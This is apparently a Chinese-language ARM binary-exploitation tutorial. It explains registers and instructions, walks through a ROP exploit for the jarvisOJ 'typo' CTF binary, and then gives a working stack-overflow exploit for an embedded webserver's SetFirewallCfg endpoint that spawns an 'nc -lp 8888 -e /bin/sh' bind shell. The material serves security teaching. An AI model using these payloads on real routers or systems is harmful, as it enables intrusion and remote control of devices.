•R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
•在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
•R7寄存器在函数调用中负责存储系统调用号
•R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
•R13寄存器SP(堆栈指针)指向堆栈的顶部
•R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
•R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
指令 |
功能 |
指令 |
功能 |
MOV |
移动数据 |
EOR |
按位异或 |
MVN |
移动数据并取反 |
LDR |
加载 |
ADD |
加法 |
STR |
存储 |
SUB |
减法 |
LDM |
加载多个 |
MUL |
乘法 |
STM |
存储多个 |
LSL |
逻辑左移 |
PUSH |
入栈 |
LSR |
逻辑右移 |
POP |
出栈 |
ASR |
算术右移 |
B |
跳转 |
ROR |
右旋 |
BL |
Link+跳转 |
CMP |
比较 |
BX |
分支跳转 |
AND |
按位与 |
BLX |
Linx+分支跳转 |
ORR |
按位或 |
SWI/SVC |
系统调用 |
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn
最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "n")
p.send(payload)
p.interactive()
web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。
随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。
这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。
与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以x00结尾
凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;x00'
data = {'firewallEn':pl}
requests.post(url, data=data)
五、参考链接
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/arm/rop/#_7
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/26/arm/
链接:
征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
原文始发于微信公众号(合天网安实验室):ARM PWN基础教程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论